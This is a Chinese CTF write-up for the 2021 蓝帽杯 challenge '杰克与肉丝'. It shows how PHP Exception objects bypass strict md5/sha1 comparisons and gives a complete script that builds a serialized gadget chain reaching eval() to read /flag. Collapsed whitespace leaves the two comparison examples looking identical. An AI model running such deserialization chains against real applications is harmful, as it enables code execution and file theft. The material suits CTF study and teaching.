前置知识:

原生类Exception绕过md5,sha1

先看看原生类Exception里面有什么:

<?php
var_dump($a=new Exception());

这里有个非常有意思的绕过md5和sh1的方法。

来看两个例子:

<?phpclass Test{public $var1;public $var2;function __destruct(){if(md5($this->var1)===md5($this->var2)){echo "yes";}else{echo "no";}}}$str="highlight_file('/flag');?>";$var1=new Exception($str,1);$var2=new Exception($str,2);var_dump(md5($var1));var_dump(md5($var2));$R = new Test();$R->var1=$var1;$R->var2=$var2;

//输出


<?phpclass Test{public $var1;public $var2;function __destruct(){if(md5($this->var1)===md5($this->var2)){echo "yes";}else{echo "no";}}}$str="highlight_file('/flag');?>";$var1=new Exception($str,1);$var2=new Exception($str,2);var_dump(md5($var1));var_dump(md5($var2));$R = new Test();$R->var1=$var1;$R->var2=$var2;

输出:

这两段代码唯一的 区别就是:

$var1和$var2是否同行

如果同行的话,则md5值不相等。SHA1则同理。

解题

题目直接给出源码:

<?php
highlight_file(__file__);class Jack
{private $action;function __set($a, $b){$b->$a();}}class Love {public $var;function __call($a,$b){$rose = $this->var;call_user_func($rose);}private function action(){echo "jack love rose";}}
class Titanic{public $people;public $ship;function __destruct(){$this->people->action=$this->ship;}
}
class Rose{public $var1;public $var2;function __invoke(){if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){eval($this->var1);}}
}if(isset($_GET['love'])){$sail=$_GET['love'];unserialize($sail);
}
?>

链子的过程比较简单 ,难点在绕过md5那里,以前没有接触过。

还有要注意的就是从后往前赋值。其他没什么了(我下面标出了序号)

直接给出payload:

<?phpclass Jack // 2
{private $action;function __set($a, $b)  // 给不存在赋值{}}class Love { // 3public $var;function __call($a,$b)  // 调用不存在方法或者不可访问方法{echo "Love";$rose = $this->var;call_user_func($rose);  // 可以触发__invoke}}
class Titanic{ // 1public $people;public $ship;function __destruct(){ // 销毁变量$this->people->action=$this->ship;}
}
class Rose{ // 4public $var1;public $var2;function __invoke(){  // 对象调用为函数var_dump($this->var1);var_dump($this->var2);if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){echo "yes";eval($this->var1);}}
}$a=new Titanic();
$b=new Jack();
$c=new Love();
$d=new Rose();
$str="highlight_file('/flag');?>";  //需要执行的读取flag文件的命令
$var1=new Exception($str,1);$var2=new Exception($str,2);
$d->var1=$var1;
$d->var2=$var2;
$c->var=$d;
$a->people=$b;
$a->ship=$c;
echo urlencode(serialize($a));
?>

我没做出来的原因是没有从后往前赋值,要先对序号后面的值进行赋值,再引用前面的类。否则会返回赋值为空的报错。

生成的payload直接打就可以了:

[2021 蓝帽杯]杰克与肉丝相关推荐

  1. [ctf misc][wp]一些内存取证的wp(含[2021蓝帽杯北部赛区分区赛]博人的文件)

    wp 1.[V&N2020 公开赛]内存取证 1.找策略 volatility.exe -f C:\Users\shen\Downloads\mem.raw imageinfo 2.看进程 v ...

  2. 2021第五届蓝帽杯初赛部分题目wp

    文章目录 前言 WEB Ball_sigin PWN slient MISC 冬奥会_is_coming 前言 本次蓝帽杯初赛做出了三道解出人数最多的题,勉强混个线下.但不得不吐槽一下这届题目.冬奥会 ...

  3. 2021天翼杯 密码官方wp

    2021天翼杯 crypto TryHash 审计题目代码,题目给出了一个feistel结构的加密算法,密钥长度为8字节.用随机生成的密钥对flag进行了加密.攻击者可以提供一段明文让服务器用同样的密 ...

  4. 【2021杭电多校赛】2021“MINIEYE杯”中国大学生算法设计超级联赛(3)签到题3题

    2021"MINIEYE杯"中国大学生算法设计超级联赛(3) Start Time : 2021-07-27 12:00:00 End Time : 2021-07-27 17:0 ...

  5. 【2021杭电多校赛】2021“MINIEYE杯”中国大学生算法设计超级联赛(1)签到题15869

    2021"MINIEYE杯"中国大学生算法设计超级联赛(1) Start Time : 2021-07-20 12:10:00 End Time : 2021-07-20 17:1 ...

  6. [ CTF ]【天格】战队WriteUp-第六届”蓝帽杯“全国大学生网络安全技能大赛(半决赛)

    第六届"蓝帽杯"全国大学生网络安全技能大赛(半决赛)电子取证赛题 第六届"蓝帽杯"全国大学生网络安全技能大赛(半决赛)其他赛题 [Misc]加密的通道 1.经过 ...

  7. 2021 长安杯 Re

    2021 长安杯 Re 忙了半天,就肝了两个Re,其中一个还是比赛结束后才出的,菜的令人发指,呜呜呜!!! 1.Fantasy apk逆向,查了一下,没有加固,直接在 jadx-gui 当中打开,可以 ...

  8. 2021美亚杯(个人赛)练习记录

    因为当时没有参加比赛,用的奇哥给的镜像和参考答案,然后自己重新做了一遍,记录一下自己的思路(我自封大娘级记录,保姆级懂吧). 指路奇哥(奇哥带好人 (๑•̀ㅂ•́)و✧):2021第七届美亚杯中国电子 ...

  9. [2021绿城杯] [Misc] 流量分析 + cobaltstrike 流量解密

    [2021绿城杯] [Misc] 流量分析 + cobaltstrike 流量解密 2021年"绿城杯"网络安全大赛-Misc-流量分析 [2021绿城杯] [Misc] 流量分析 ...

最新文章

  1. python的raw_ input是什么意思-对python中raw_input()和input()的用法详解
  2. 昵图网服务器系统资源不足,Win7系统提示系统资源不足警告怎么办? - 爱绿豆...
  3. mysql训练逻辑的题_全国计算机等级考试二级教程mysql复习题练习题.docx
  4. px、dp和sp,这些单位有什么区别?
  5. datatable使用groupby进行分组统计 [2]
  6. 2015 多校赛 第三场 1002 (hdu 5317)
  7. android 简单对话框实现
  8. 文本前后空格去除工具
  9. bosboot -a的作用
  10. AspSpider再次开放asp.net2.0 免费空间注册
  11. 软件缺陷分析方法:ODC
  12. IT新渠道眼中的高价值增长如何实现?
  13. 大数据发展规划及技术详解
  14. 【PHP MySQL】数据库专题 第八课 表连接
  15. ios html录制视频,iPhone怎么录屏?玩转iOS14自带屏幕录制功能全攻略
  16. DDR4时序标准规范(二)
  17. Ubuntu 复制文件到远端时错误,Permission denied 失败原因深度探索
  18. JAVA实现的Johnson-trotter算法(高效的全排列算法)
  19. python-列表元素绝对值排序
  20. 嵌入式系统概述及特点

热门文章

  1. UGUI源码解析——ContentSizeFitter
  2. C#开发ActiveX控件及指纹采集
  3. Java 性能优化实战工具实践:如何获取代码性能数据?
  4. Dell戴尔笔记本电脑G3 3779原装出厂Windows10系统恢复原厂oem系统
  5. MATLAB数值分析学习笔记:线性代数方程组的求解和高斯消元法
  6. 道德经解析(2)---定力
  7. css —— 文字添加白色描边
  8. 禅道项目管理,带你避开项目管理中的那些坑
  9. 故事分享|B站up主的感悟:粉丝从0到1.4万,我做对了什么?
  10. PTA(接口)用java写 7-10 房屋、住宅、写字楼类